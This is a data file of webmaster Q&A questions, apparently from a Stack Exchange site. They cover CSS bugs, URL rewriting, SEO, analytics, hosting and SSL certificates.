{"id":"1534","title":"round corner in IE 8 - made by a mistake","text":"Recently I wanted to make an overlay on an existing page. Of course on all browsers works fine.. except IE. Although it made an interesting effect - one round corner - this can be seen at http:\/\/wenecja.com.pl\/index_plakatowanie.html (you need to have adblock disabled on firefox). So how this had happen? Sorry for the sloppy css, but this wasn't an objective #wrapper_lokacja { position: absolute; top: 0; left: 0; width: 100%; height: 100%; display: none; -moz-box-sizing: content-box; } #wrapper_lokacja #overlay_lokacja { position: absolute; top: 0; left: 0; width: 100%; height: 100%; z-index: 0; background: url( \"\/_img\/lokalizacja\/overlay.png\" ); filter:alpha(opacity=50); -moz-box-sizing: content-box; -khtml-opacity: 0.5; opacity: 0.5; } #wrapper_lokacja #text { width: 800px; height: 500px; position: absolute; background-color: #fc0; text-align: center; font-family: \"Arial Black\"; border: 13px solid #333; -moz-box-sizing: content-box; -moz-box-shadow: 1px 1px 10px #222; left: 50%; top: 50%; margin: -250px 0 0 -400px; } #label, #map, #paczka, #exit { position: absolute;-moz-box-sizing: content-box; overflow: visible } #label { top: 20px; left: 242px; z-index: 0; } #wrapper_lokacja p,#wrapper_lokacja h1, #wrapper_lokacja h2 { position: relative; z-index: 20; padding: 0; color: black; font-family: \"Arial Black\"; overflow: visible; background: none; -moz-box-sizing: content-box; } #wrapper_lokacja h1 { font-size: 48px; height: 48px; margin-bottom: 0; margin-top: 15px; } #wrapper_lokacja h2 { font-size: 18px; line-height: 1em; margin: 9px 0 0 0;} #wrapper_lokacja h2 { margin-top \/*\\**\/: -9px\\9; } \/* IE 8 hack *\/ #high_text { margin: 2em 0 0 0; font-size: 14px;} #wrapper_lokacja #high_text em { font-style: normal; font-size: 16px;} #map { bottom: 0; left: 0; z-index: 2; } #mapkaT { margin: 0; padding: 0; position: absolute; bottom: 203px; left: 0; z-index: 10; } #mapkaR { margin: 0; padding: 0; position: absolute; bottom: 0 ; left: 184px; z-index: 10; } #mapaFrame { position: absolute; bottom: -5px; z-index: 5;} #paczka { bottom:0; right: 27px;} #exit { top: 0; right: 0;} #wrapper_lokacja #lower_text { font-size: 13px; color: #004460; margin-top: 40px;}"}
{"id":"42889","title":"Amazon EC2 vs Dedicated server at Hetzner, what's the use for EC2?","text":"After searching the web I still can't find the reason to use EC2. What's the point to scale EC2? If you expect a huge burst in traffic, they say. OK, but what if you already have a couple of sites with good traffic, and for example medium reserved EC2 instance is not enough. You are paying $36.60(medium reserved for 1year) in EU(Ireland) + traffic + optional expenses for databases and S3 if you use them. Of course as some point when you are under $56.6-$66.1 you can optimize your hosting costs with Amazon EC2. But when you get at some point if purchase EX4 server from Hetzner, it will surpass your perfomance needs for a long time, before you get a massive traffic. (I am wrong?) **CPU:** i7-2600 Quadcore (3.4-3.8 Ghz) **RAM:** 16 GB **HDD:** 2x3 TB SATA (6 Gbit\/s) - _I think that disc performance of a dedicated is better then of Amazon EBS_ **Traffic:** 10 TiB in month included. This is what you get from Hetzner for $56(- 19% VAT) or $66 for EU residents. Please, tell me what's the reason to use Amazon? Which load won't a server from Hetzner take, but Amazon Auto Scaling will? The maintenance of dedicated vs EC2 is still the same? Or hardware failure at Amazon, won't ruin your EBS storage? I'm still not at the level when I need expensive hosting, but want to know beforehand, just to be sure if Amazon infrastructure is better then pure performance of Hetzner's hardware."}
{"id":"68989","title":"Passing Arabic values in parameters results in % spaces","text":"I have built an _.htaccess_ clean URL, this part works perfect in my _.htaccess_ : RewriteCond %{THE_REQUEST} \/road.php\\s [NC] RewriteRule . نقفورالثانيفوكاس\/ [R=301,L] RewriteRule ^نقفورالثانيفوكاس\/$ road.php [L] But this part in the parameters is producing spaces in my navigation: <?php $tit = urlencode(\"نقفورالثاني-فوكاس\"); $cap = urlencode(\"الطريق-للقمة\"); ?> <a href = '<?php echo \"road.php?title=$tit&caption=$cap\" ; ?>'> Only choosing _road.php_ is working: http:\/\/www.nikephorosphokas.com\/%D9%86%D9%82%D9%81%D9%88%D8%B1%D8%A7%D9%84%D8%AB%D8%A7%D9%86%D9%8A%D9%81%D9%88%D9%83%D8%A7%D8%B3\/ (The title is displaying great in Arabic, so this is working) But with the two parameters, it's resulting in a lot of spaces: http:\/\/www.nikephorosphokas.com\/%D9%86%D9%82%D9%81%D9%88%D8%B1%D8%A7%D9%84%D8%AB%D8%A7%D9%86%D9%8A%D9%81%D9%88%D9%83%D8%A7%D8%B3\/%25D9%2586%25D9%2582%25D9%2581%25D9%2588%25D8%25B1%25D8%25A7%25D9%2584%25D8%25AB%25D8%25A7%25D9%2586%25D9%258A%25D9%2581%25D9%2588%25D9%2583%25D8%25A7%25D8%25B3\/%25D8%25A7%25D9%2584%25D8%25B7%25D8%25B1%25D9%258A%25D9%2582%25D9%2584%25D9%2584%25D9%2582%25D9%2585%25D8%25A9\/ (This is not what I want, so it's NOT working) This is my complete _.htaccess_ : RewriteCond %{THE_REQUEST} \/road.php\\s [NC] RewriteRule . نقفورالثانيفوكاس\/ [R=301,L] RewriteRule ^نقفورالثانيفوكاس\/$ road.php [L] RewriteCond %{THE_REQUEST} \/road.php\\?title=([^&\\s]+)\\s [NC] RewriteRule . نقفورالثانيفوكاس\/%1\/? [R=301,L] RewriteCond %{THE_REQUEST} \/road.php\\?title=([^&\\s]+)&caption=([^&\\s]+)\\s [NC] RewriteRule . نقفورالثانيفوكاس\/%1\/%2\/? [R=301,L] RewriteRule ^نقفورالثانيفوكاس\/([^\/]+)\/$ road.php?title=$1 [L] RewriteRule ^نقفورالثانيفوكاس\/([^\/]+)\/([^\/]+)\/$ road.php?title=$1&caption=$2 [L] RewriteCond %{THE_REQUEST} ^[A-Z]{3,}\\s([^.]+)\\.php [NC] RewriteRule ^ %1 [R,L] RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME}.php -f RewriteRule ^(.*?)\/?$ $1.php [L] I tried adding _urlendice_ or _rawurlencode_ as well, but the result was the same."}
{"id":"41066","title":"Chrome has recently started chopping the bottom of some titles, anyone know why?","text":"The title is the entirety really. Chrome has started to chop the bottom off my titles (not noticed in on any paragraph text). I've tried the usual, incognito mode to disable and extensions, delete my user in settings. This is happening on a few of my sites, on different hosts. Not repeatable in other browsers. Has anyone come across this before?  Edit: The offending web page."}
{"id":"42738","title":"Vendor reliability and Privacy reputation","text":"When observing my website stats at StatShow, I can see my _internet reputation_ for: > Trustworthiness > > Vendor reliability > > Privacy > > Child Safety My site had excellent results for everything beside _Vendor reliability_ (50 points) and _Privacy_ (72 points). I am trying to decode what this means and what algorithm they use to determine these figures. My question is, in terms of SEO, how do I improve points for Privacy and Vendor reliability? What is Vendor reliability anyway?"}
{"id":"26274","title":"Should <a> tags with href=\"#\" (or other internal links) use rel=\"noindex, nofollow\"?","text":"For SEO purposes, should `<a>` tags with `href=\"#\"` make use of `rel=\"nofollow\"`, `rel=\"noindex\"`, `rel=\"noindex, nofollow\"`, or does it not matter? I'm asking because I have some elements on my site where I use anchor tags to trigger mouseovers, etc, and I'm just wondering how the search engines handle those links."}
{"id":"10463","title":"What Should I Do?","text":"What is a reasonable goal in terms of traffic for my Flex 3 site: www.brainpinata.com Since I began a couple of months ago, I've gotten roughly 5500 ad views and 280 ad clicks. And the ad revenue is a whopping $4.80. (I don't use Google Adsense). I advertise my site using Google Adwords to try to build traffic. My budget is $10\/day. What should I do? a) Push the marketing. Add a blog. Try to get backlinks, contact blogs, start a Facebook page, tweet, etc. b) Google is only indexing the static content in the SWF. The questions\/answers are pulled from a mySQL database. So, Google doesn't index 99% of the content. Should I re-do the site in HTML\/Javascript and hard-code the questions for each puzzle? (This would be a challenge as I don't know javascript worth squat.) Or should I hard-code the questions in XML and put them in the Flex app? If I put the questions in an XML file it's roughly 500 KB. Other ideas? c) Should I switch ad networks? (I currently get about 100 visitors a day). My ad network pays so little that if I were to make even $500\/month, I would need 550,000 ad views\/month, which seems impossible. If I go ahead and switch ad networks, I need to find one that allows iFrames as I've got a Flex website. Which ad networks permit their ads to be shown in iFrames? d) Should I cut and run? I put a lot of work into this project and it would really stink to get nothing out of it. I'm looking for some good advice. Looking forward to your suggestions. Thank you. -Laxmidi"}
{"id":"53670","title":"Menu Control submenu links appear but are not active when rolled over in IE 10","text":"I have a menu control in my masterpage. The Menu Control submenu pops open and appears with text on it when I open it via IE10, but the links do not work when you try to click on them, and the submenu disappears after a few seconds even though the cursor is still over the submenu. I have no idea why the links are inactive here but in firefox, chrome, safari appear correctly. Some help would be much appreciated. Menu code : <div id=\"nav\"> <asp:SiteMapDataSource ID=\"SiteMapDataSource1\" runat=\"server\" \/> <asp:Menu ID=\"Menu1\" runat=\"server\" DataSourceID=\"SiteMapDataSource1\" DisappearAfter=\"600\" StaticDisplayLevels=\"2\" StaticSubMenuIndent=\"0px\" Width=\"181px\" SkipLinkText=\"\" DynamicHorizontalOffset=\"1\" DynamicPopOutImageUrl=\"~\/images\/arr_white.gif\" StaticPopOutImageUrl=\"~\/images\/arr_white.gif\" CssClass=\"SomeMenuClass\" > <DynamicHoverStyle ForeColor=\"#E9C379\" \/> <DynamicMenuStyle BorderStyle=\"None\" \/> <LevelMenuItemStyles> <asp:MenuItemStyle CssClass=\"Level1Style\" Width=\"195px\" \/> <asp:MenuItemStyle CssClass=\"Level2Style\" Width=\"170px\" \/> <asp:MenuItemStyle CssClass=\"Level3Style\" Width=\"200px\" \/> <\/LevelMenuItemStyles> <StaticHoverStyle Font-Strikeout=\"False\" ForeColor=\"#E9C379\" \/> <\/asp:Menu> <div id=\"nav_bot\"> <\/div> <\/div> Site Map: <siteMap xmlns=\"http:\/\/schemas.microsoft.com\/AspNet\/SiteMap-File-1.0\" > <siteMapNode url=\"default.aspx\" title=\"Home\" description=\"\"> <siteMapNode url=\"registry\/Default.aspx\" title=\"Significant Tree Registry\" description=\"Significant Tree Registry\" \/> <siteMapNode url=\"nominate\/default2.aspx\" title=\"Nominate a Significant Tree\" description=\"ominate a Significant Tree\" \/> <siteMapNode url=\"javascript:void(0)\" title=\"Criteria for Scoring Trees\" description=\"Criteria for Scoring Trees\"> <siteMapNode url=\"scoring_criteria\/how_a_tree_is_scored.aspx\" title=\"How a Tree is Scored\" description=\"How a Tree is Scored\" \/> <siteMapNode url=\"scoring_criteria\/measuring_a_trees_diameter.aspx\" title=\"Measuring a Trees Diameter\" description=\"Measuring a Trees Diameter\" \/> <siteMapNode url=\"scoring_criteria\/measuring_a_trees_height.aspx\" title=\"Measuring a Trees Height\" description=\"Measuring a Trees Height\" \/> <siteMapNode url=\"scoring_criteria\/measuring_the_crown_or_spread.aspx\" title=\"Measuring the Crown or Spread\" description=\"Measuring the Crown or Spread\" \/> <\/siteMapNode> <siteMapNode url=\"resources\/default.aspx\" title=\"Resources\" description=\"Resources\" \/> <siteMapNode url=\"partners\/default.aspx\" title=\"Partners\" description=\"Partners\" \/> <siteMapNode url=\"history\/default.aspx\" title=\"History\" description=\"History\" \/> <siteMapNode url=\"comments\/default.aspx\" title=\"Contact\" description=\"Contact\" \/> <\/siteMapNode> <\/siteMap> CSS: #nav { padding-left: 9px; } #nav, #Menu1{ margin:-1px; } #nav a { color: #fff; text-decoration: none; border-left: 1px solid #959595; padding-left: 10px; display: block; width: 100%; padding: 2px 0 6px 8px; } #nav a:hover { text-decoration: underline; } #nav .important { border: none; background: 188px 10px url(..\/images\/arr_orange.gif) no-repeat; } #nav .important a { color: #E9C379; } #Menu1{ z-index:10;} #nav, #Menu1, .Level2Style{z-index:10;} #nav, #Menu1, .Level3Style{z-index:10;}"}
{"id":"3236","title":"What's the best way to put invisible for user but indexable link?","text":"I have several sites on the same topic but still competitive to each other. I would like to put cross links on these sites in text so they won't be visible\/\"clicakble\" but still indexable by search engine. What's the best way to do it i.e. what kind of HTML\/CSS magic to apply? As far as I understand this is a \"White Hat SEO\" technique and will help to increase relevance of the web sites."}
{"id":"10469","title":"Correct syntax for Canonical - link or meta tag?","text":"I'm getting a little confused about adding canonical tags to pages. Some (most?) guides suggest using a link tag thusly: <link rel=\"canonical\" href=\"www.example.com\/somepage\" \/> but some others suggest a meta tag like so: <meta rel=\"canonical\" href=\"www.example.com\/somepage\" \/> Are both allowed? Which is right? If one is wrong, where does the confusion stem from? Thanks."}
{"id":"63141","title":"SSL certificate that does not verify identity","text":"(I'm fairly sure I know the answer, but just in case...) We want SSL on an internal-use webserver, but the usual ones don't work for the usual reasons (not static IP, subdomain issues etc.). Server identity is not an issue, all we need is an encrypted connection for the slightly-sensitive data. Management's main worry is wifi-sniffing at a cafe. MITM attacks are not a concern (the data involved isn't worth the effort) but the Big Red Warning Page _is_ an issue - the users are just not capable of understanding the issue and adding an exception. This means no self-signed certificates."}
{"id":"63147","title":"Where to put hashtag in Ajax url","text":"I used to put my url like this : example.com\/#!ajaxcall\/parent\/child but then, google gave me warning says that my url \"is not followed\" : > When we tested a sample of URLs from your Sitemap, we found that some URLs > redirect to other locations. We recommend that your Sitemap contain URLs > that point to the final destination (the redirect target) instead of > redirecting to another URL. so i changed my url into : example.com\/parent\/child\/#!ajaxcall\/ after changing the url, i keep getting 404 error(because the hashchange event never fired), i don't know what am i doing wrong here ?"}
{"id":"39774","title":"What should be done after renaming the urls of my website?","text":"One month ago, I updated all the product URLs on my site which were separated by `_` sign to be separated by `-` sign. Example: .com\/Calipers\/Insize_1108 now looks like .com\/Calipers\/Insize-1108 There were nearly 1200 links updated, and it is showing in webmaster tools as crawl errors. I marked them as fixed, I resubmited my sitemap but it didn't work, they are still showing in google search results. What should I do ?"}
{"id":"67490","title":"Updating a website often","text":"I always wondered something, when I make a website, normally small websites, I make the website locally and then Upload it to the server, I also keep a copy locally, when I have to make a change, I change the copy I have locally and the I upload the whole website again to the server, that's obviously a waste of time, and I would like to know what's the best way to update a website, big or small, but without doing this, just uploading what has been changed, I've heard that the best way is using something like GIT or Mercurial, but I don't know what you can tell me."}
{"id":"8910","title":"First Project a big one, How much should we charge?","text":"Two of my cousins and I started a freelance computer repair\/web design business just to make some money on the side during college, and received our first major web design project about three weeks ago. Now we've created websites before, but it was mostly for family businesses and have never really charged money, and most of the websites have been static, and don't really require a CMS. This project, however, was a big one (for us anyways). We created a news site that had several categories, we created the banners, we created a classifieds page (not a web app just something static that they control). Several links, a few graphical assets, CSS drop down menu, RSS feed from a different news site, weather, all the normal stuff you would find on a regular news site. On top of that we put in all the usual Joomla stuff (search, Jcomments, Jslide pictures, JCE, etc.). Then we uploaded the first 10 articles they gave us, and we are going to train them how to use Joomla. Now, at first we decided for 700 dollars. I assumed they just wanted a simple blog like website where they can upload articles. But then we had a meeting, and they asked for a lot more. Note: we did not hard code the template from scratch, but customized the gantry framework to fit their needs. We did code quite a bit however. I estimate that we put in about 50-60 hours in total. I'm wondering if 700 dollars is a bit low, this price is definitely not set in stone. Please keep in mind that this is our first project, and we are newbies, please be kind. Thank You!"}
{"id":"8917","title":"Redirect \"302 found\" vs \"302 object moved\"","text":"Examining several different websites that do redirects (from TLD to language subfolders), I discovered that beside sending a 302 HTTP header, some send differents strings: Some send `\"302 found\"`, others send `\"302 object moved\"`. **Regarding SEO, my question is:** Does the string description matter to Google and Bing, or are they simply evaluating the HTTP header numbers (301, 302, etc.)?"}
{"id":"11848","title":"Feedburner - Multiple feeds in multiple languages","text":"I run a website that available in Dutch and English. Each 'language version' has its own blog and related RSS feed. I want to publish these RSS feeds through Feedburner. Obviously I would like to have the Feedburner UI for the Dutch readers in Dutch and the English speaker readers in English. Does anybody know how to manage multiple feeds with multiple languages in Feedburner."}
{"id":"18530","title":"Oversizing images to produce better looking pages?","text":"In the past, improper image resizing used to be a big no-no of web design (not mentioning improper compression format). Hence, for years I have been sticking to the policy where images (PNG or JPG) are resized on the server to match the resolution pixel-wise they will have with the rendered page. Now, recently, I hastily designed a HTML draft with oversized images, using inline CSS style such as `width:123px` and `height:123px` to resize the images. To my (slight) surprise, the page turned out to look _much better_ that way. Indeed, with better screen resolution, some people (like me), tend to browse with some level of zoom (aka 125% or even 150% zoom), otherwise fonts are just too small on-screen. Then, if the image is strictly sized, the enlarged image appears blurry (pixel interpolation effect), but if the image is oversized the results is much better. Obviously, oversizing images is not an acceptable pattern if your website is intended for mobile browsing, but is there case where it would be considered as acceptable? Especially if the extra page weight is small anyway."}
{"id":"18531","title":"Is using HTML5 Doctype harmful for Mobile SEO in google?","text":"At this page Google mentioned http:\/\/www.google.com\/support\/webmasters\/bin\/answer.py?hl=en&answer=34637&ctx=cb&src=cb&cbid=-1rb2an4c1lcom&cbrank=3 **Q. What mobile markup languages do you support?** **A.** We support XHTML basic, XHTML Mobile Profile, WML, and cHTML."}
{"id":"18533","title":"SEO - Better empty title tag or skip title tag?","text":"What is better, if somebody skip `<title>` tag or `<meta name=\"description\" \/>` or leave empty value: <title><\/title> <meta name=\"description\" content=\"\" \/> ? Or maybe all above has the same meaning for crawlers?"}
{"id":"18535","title":"How to best protect my web designs? Licenses?","text":"I'm afraid one of my clients might ask his fellow software engineer to design a few page templates for a WordPress-based community I'm redesigning, according to my code and design. He just bounced me back an estimate cutting down expenses on page templates and leaving only the frontpage template, which is clearly the only one he can easily replicate into multiple page templates, for the core pages whose templates he just dismissed. Is there any way to protect my code and designs with strict licensing? Are there any ways to protect my work from being copied by my own client? Which licenses should I use?"}
{"id":"18536","title":"What is \"condition of link to developer's website\" condition in license","text":"I want to use following icons for my commercial website for free. http:\/\/www.gettyicons.com\/free-icon\/112\/must-have-icon-set\/free-remove-icon- png\/ According to to above link: > Visual Pharm is the author of this icon. Visual Pharm will remain owner of > this icon and you cannot sell it, but you are allowed to apply this icon in > your commercial and non-commercial projects with condition of link to > developer's website. But I cant understand following: > with condition of link to developer's website Do I have to show link of owner of icon site on my commercial website? If yes, where will I show their link? Is there any other icons package that I can use commercially for free without showing their link on my site?"}
{"id":"15168","title":"Google Webmaster Geographic target: Increases or Decreases Traffic?","text":"My website is an english video streaming website that gets visitors from all over the world (about 70,000 per day). 35% of my traffic is from the US. Now, in google Webmaster, if I were to set my geographic target to USA, will I get more overall traffic or less than what I am getting right now? _most of my traffic is organic from google_"}
{"id":"30599","title":"Correct configuration of multiple Analytics trackers per page, spanning domains and subdomains","text":"My company publishes sites on a somewhat convoluted domain structure, and we're having trouble getting accurate numbers in Analytics when we have multiple trackers on the page. We publish under two brands (A, B). Each brand has a \"national\" site at A.com, B.com, as well as per-city \"local\" sites at eg. ny.A.com, la.A.com, sf.A.com, etc. Right now we're trying to track in these dimensions: * Full network (A.com, ny.A.com, B.com, la.B.com, etc.) * All sites in brand (A.com, ny.A.com, la.A.com, etc.) * Inidividual site (ny.A.com) Here are the commands we're using on an individual site: _gaq.push( ['t0._setAccount', 'UA-XXXXXX-1'], \/\/ full network ['t0._setDomainName', 'none'], ['t0._setAllowLinker', true], ['t0._trackPageview'], ['t1._trackPageLoadTime'], ['t1._setAccount', 'UA-XXXXXX-2'], \/\/ brand ['t1._setDomainName', 'none'], ['t1._setAllowLinker', true], ['t1._trackPageview'], ['t1._trackPageLoadTime'], ['t2._setAccount', 'UA-XXXXXX-3'], \/\/ individual ['t2._setDomainName', 'none'], ['t2._setAllowLinker', true], ['t2._trackPageview'], ['t2._trackPageLoadTime'] ); We send the same commands to each account because we've had strange results when trackers were configured differently in the past. However, right now we're seeing inflated numbers for uniques on all three trackers. What is the correct way to configure this setup? Thanks for your time."}
{"id":"30229","title":"Why some of new indexed pages of my web site disappeared from search results?","text":"10 days ago i have activated my web-site with whole new design and content and because of it's an old web site and has 2 pr, it's quickly added to search results by google. Then i sent some important url's to google via webmasters tools for make google index those pages. After 2-3 days those pages were indexed. But i realized those pages are disappearing from index and today all sub-pages disappeared. There aren't any spammy content, pages were original, valid html5 code. What can be the cause of this ?"}
{"id":"30595","title":"Search Engine, Public Facing Game","text":"I run an online game. The only pages one can access without an account are the homepage, register, lost password, contact me. If I were to make more of my pages public, and add links to them from the homepage, **would this help gain traffic?** The pages I am think about making public are the forums, player profiles and game statistics."}
{"id":"15164","title":"How do I host my website with another web hosting provider which is not the provider I registered domain name with?","text":"Recently I registered for a domain name and bought it. I had failed to check their hosting plans first :(. They charge a lot for hosting a website. I am thinking of hosting it under some free web hosting provider. How do I host my website with another web hosting provider which is not the provider I registered the domain with?"}
{"id":"59082","title":"Webshop with different domains per brand","text":"I'm creating a niche webshop which offers a limited number of products per brand\/category which are somewhat similar to each other. However I have chosen to promote the products per brand on a different domain for extra search engine ranking. The layout will mostly be the same across domains. Customers will also switch over the domain during the process. Maybe a little broad but the question is: Which factors do I have to take account for regarding SEO? And then I mean for example: avoid duplicate content. A few more specific questions: Can I use the breadcrumb across the domains? Does it affect SEO if the domains are pointing to the same host?."}
{"id":"30220","title":"By 301 redirect will Google take my new domain as having duplicate content ?","text":"If I do a 301 redirect from Google Webmaster then will Google take my old domain as my new domain ? I mean, my old domain is www.hackinguniverse.org but I want to change my domain as well as name because I have to get approved for Google AdSense and with having the word \"Hacking\" .. I now it is quite impossible to get approved for AdSense. But by 301 redirect is it sure that Google will not take my site as duplicate content? Please help."}
{"id":"30593","title":"Navigation Category page not indexed by Google","text":"Navigation menu is in the form of categories on website `http:\/\/bankpo.in`, none of the category pages is being indexed by Google. I searched with exact URL for a category, still related results are shown instead of category page. I have checked Google Webmaster Tools and there are no crawling error or any other error message, so I am really confused what might be the problem. Website is not a new one and is continuously updated, so please can anyone tell me the reason for this."}
{"id":"7114","title":"How to avoid \"click here\" links","text":"I know that I should try to avoid links that have the text \"click here\". But how do I avoid that? What are good alternatives to > * You can find more information about _certain topic_ over here. > * For more information about our trip, click here. > Just wondering if other people have some good practices and ways of avoiding these links."}
{"id":"39502","title":"How to weaken spam attacks from XRumer","text":"Though this topic : How do spambots work? is related and enlightening but it talks about general spam logic. Moreover it is really difficult to follow many anti-spam measures mentioned in it in case of CMS based sites like Joomla, Drupal, Wordpress since tickering code requires special expertise. Just like we concentrate on Google for SEO, we should concentrate on Xrumer specifically. It is so much of trouble that in my sites I've even disabled typing http word in comments but still I receive many test comments( like Xrumer testing ...). Looks like Xrumer is the chief culprit of spam attacks. It is most sophisticated spam software I guess. If we can make our sites immune to this software only I guess 90% of attacks can be averted. It is so much of trouble that in my sites I've even disabled typing http word in comments but still I receive many test comments( like Xrumer testing ...) Does anybody have internal insights\/weaknesses of this software which we can use to prevent the attack."}
{"id":"7118","title":"Best way to have both HTTP and HTTPS communication in a web application?","text":"I am considering using both HTTP and HTTPS in a web application and I am looking for tips to accomplish this best. The application will run under Tomcat. I have also seen the following about HTTPS performance. Can anyone confirm the claims made in this post (i.e., SSL\/TLS is not computationally expensive any more)? Do you agree? Thanks!"}
{"id":"28595","title":"Why is godaddy HTTPS\/SSL certification so much cheaper than digicert, thawte, and verisign?","text":"I am a novice on HTTPS\/SSL but GoDaddy charges $12.99 and Digicert, thawte, and Verisign charge $100-1000+ for SSL certificates. I must be missing something on the quality of the encryption or something. Can someone explain some of the basic differences that lead to these dramatically different prices? **Update** $12.99 is a sale price. Typically SSL certificates cost $89.99 on GoDaddy. Here's a link on Godaddy which makes the very comparison this question asks about: http:\/\/www.godaddy.com\/Compare\/gdcompare_ssl.aspx?isc=sslqgo002c thanks, tim"}
{"id":"49935","title":"Am I violating AdSense TOS by allowing Google Translate widget to translate into unsupported languages?","text":"**DETAILS** I want to use a Google Translate widget\/plugin on my website. The website is written in English and has AdSense code embedded in it. The website is aimed at a global market, but because of the niche I expect them to use English. Despite that, I'd like to make translation available to all those who need it. **QUESTION** Am I violating adsense TOS by allowing google translate widget to translate into unsupported AdSense languages? Do I have to restrict the languages that can be translated to adsense supported languages only?"}
{"id":"18798","title":"Removing CAPTCHA is harmful for my forms?","text":"I have some services on my site that developed by PHP , it seems having CAPTCHA in my registration form is decreasing registering users , I tend to remove CAPTCHA at least on my registering form , is it harmful for my site?"}
{"id":"49939","title":"Blocking pages from being crawled with specific URL encoded parameters","text":"While seeing the Google Webmaster Tools report there are certain URL encoded parameters like `%5c` and `%22` coming up in URL's of site. We tried to identify the issue and observed that due to incorrect structure in two of the links having \\\" (forward slash and \") were created in the site, which has now been corrected. We have removed and corrected these, but we feel that Google is now crawling some of the pages with forward slash and `%22`, which are coming up in Webmaster Tools as duplicate URL's. Is there any way through _robots.txt_ , through Google Webmaster Tools, or through _.htaccess_ to let Google know not to follow links or crawl pages with a forward slash or `%22` in it? The site is built upon the Joomla CMS platform."}
{"id":"28819","title":"Should I notify 'under construction' websites to crawlers? If yes how?","text":"I am currently developing a website which is going to take some time to finish. I need to move some 'stuff' to production frequently, while maintaining a `under construction` status. My front page will clearly mention that my website is under construction. I know crawlers will access my URL before I am ready to go live. Should I tell them my site is under construction (no need to index)? If yes how? P.S.: Eventually, I am ok to let them see my under construction front page."}
{"id":"37612","title":"Is it possible to animate JPGs?","text":"This may sound ridiculous, but I'm curious as to how this image on imgur is animated: http:\/\/i.imgur.com\/VnPVF.jpg and yet still appears to be a JPG file, not a GIF. Is it server side? It's viewing the straight file, and so it can be using any JavaScript or other to fulfill this. Any ideas?"}
{"id":"1675","title":"eShop product urls SEO, with or without category folder","text":"What product url is better from SEO perspective for an eShop www.site.com\/main-category\/sub-category\/sub-category2\/product-name.html www.site.com\/products\/product-name.html www.site.com\/product-name.html Some people state that the last one since you make that page more important to the root of the domain. I would think its more logical to have them like the 1st. What do you guys think? Does this really matter for SEO?"}
{"id":"67344","title":"Is it useful to have your company name as an <h1> on every page?","text":"I saw a (quite okay) website where every page has the logo\/title of the company as an . I was wondering if that is actually usefull or just ruining your SE(o)-score? The full HTML line is `<h1 class=\"Logo\"><a href=\"\/\" class=\"Logo\">Company name here<\/a><\/h1>` And I got to add: Not the , but the gets, via CSS, updated with a background image."}
{"id":"64960","title":"CTR for a specific button that has an event label on given page from Google Analytics","text":"I have a landing page and I want to see how many of the people who sees the page clicks a certain button. Say that the button has an event label, e.g. \"foo\". How do I find out what the percentage of visitors to the page clicks the button?"}
{"id":"50375","title":"Joomla Article Manager","text":"The Window where the article must be written is not provided with the Formatting icons bar on top. \"Toggle Editor\" at the bottom right of the same Window is not showing. I need instructions on how to resolve the issue Thanks"}
{"id":"29990","title":"Issues with web hosting at home","text":"I want to host a small personal website at home. One basic problem I am hitting is, From inside home network, I cannot access my domain name. I have to use the local ip (something like 192.168.1.4) to access the website. This ip is the desktop which is hosting the website. Because of this mapping, I have issues setting up a simple wordpress blog on it too. How do I get past this issue? **edit:0** when I try to access www.example.com (my domain) from within my home network, I get redirected to my router login. PS: 1) I am using dyndns service to map my non-static ip to my domain name. 2) My portforwarding works fine."}
{"id":"29996","title":"Making one exclude cookie for multiple google analytics sites","text":"I've got multiple sites all with different google analytics profiles in them (managed under one account). I would like to exclude everyones traffic in the office from all the sites. To do this when we clear the cookies \/ get a new device we have to go to the page on each site that has the exclude cookie this is fine but when you have to do it 6 times for each machine its a bit tedious. Is there a way to have one cookie for all sites? Because both the cookie and the tracking code need to be on the same page would it be possible to have one page with all the tracking codes on it and all the cookies so that it would simultaneously exclude our traffic from all sites?"}
{"id":"58426","title":"Images are being filtered on a generic site that shares the same IP address with an adult site","text":"I recently addressed the community to understand why normal images are being filtered by Google Image Search. I have several sites placed on the same server (and that they all definitely share the same IP address) and one of those sites has _Adult_ content on it. I am now assuming that the filtering problem might be caused by the fact that the generic site shares the same IP address as the adult site. If I remove the adult site from being hosted or from this IP address, will it solve my filtering problem for the rest of my sites? What else can I do besides the removal of mentioned adult site from that IP address?"}
{"id":"14741","title":"Is using feedburner still a must for blog feeds?","text":"I'm setting up a blog for my OSS\/startup and I'm wondering whether using Feedburner for blog feeds is still the recommended way to go? Is there enough value in using Feedburner over just using the built in RSS feeds in Wordpress? Also if so what wordpress plugin people are using to get it working with the current version?"}
{"id":"64975","title":"Is there a way to contact the owner of a Analytics account when only the UA account number is known?","text":"I have taken over a website for a company and their former webmaster does not know who have access to the analytics account used on their \"old\" website. I obviously got their UA account number, but nobody knows who has access to that. Is there a way for to contact the owner through that account number?"}
{"id":"14744","title":"\"Thank you for posting. Please stand by while you are redirected.\" Needed?","text":"> Thank you for posting. Please stand by while you are redirected. > > If you are not automatically redirected, please click here. You're probably familiar with messages like these, especially when using the web in the 90s or early 2000s. In my own projects, I've never found a reason to make the user wait for 2-3 seconds while they are redirected after registration or posting something, for example. But this pattern comes up all the time, even in popular web software like PHPBB. My question is, does redirection still have a place\/need in modern (ajaxy) web development? Are there any situations that absolutely require redirection like this, ultimately annoying the user, and **what are the technical reasons behind them**? Why not just redirect instantly if a redirect is required?"}
{"id":"24267","title":"Why does Google Reader only update our site's RSS feed once every 4-5 days?","text":"We have a website with a RSS feed. When I use Google Reader to subscribe to the feed, it is only updated once in a while - something like every 4-5 days. In Google Reader the latest 2 or 3 posts appear at the same time. I have setup an quick test script that downloads the RSS feed every hour, so that I could monitor, that the feed is updated as expected. And everything looks good, when I just download the feed. I'm beginning to believe that the cause for this behavior in Google Reader is to do with Googles RSS crawler, feedfetcher. When I look at Date Received and Date Published - Google Reader differentiate between Date Received and Date Published - Date Received is the same for the 2 or 3 posts, and Date Published matchtes the pubDate in the feed. This leads me to believe that Google's RSS crawler, feedfecther, doesn't crawl the RSS feed more that something like every 4-5 days. What are your experiences with Google feedfetcher? Is it expected to have this kind of latency? (I haven't looked at the server logs yet, but that would be a logically next step.)"}
{"id":"50715","title":"Is Plone really without security holes as Wiki article suggests?","text":"According to this wiki article (chapter): http:\/\/en.wikipedia.org\/wiki\/Plone_(software)#Focus_on_Security From 2010 there has not been a single vulnerability.  Is this true and Plone is the most secure (among the CMS compared)?"}
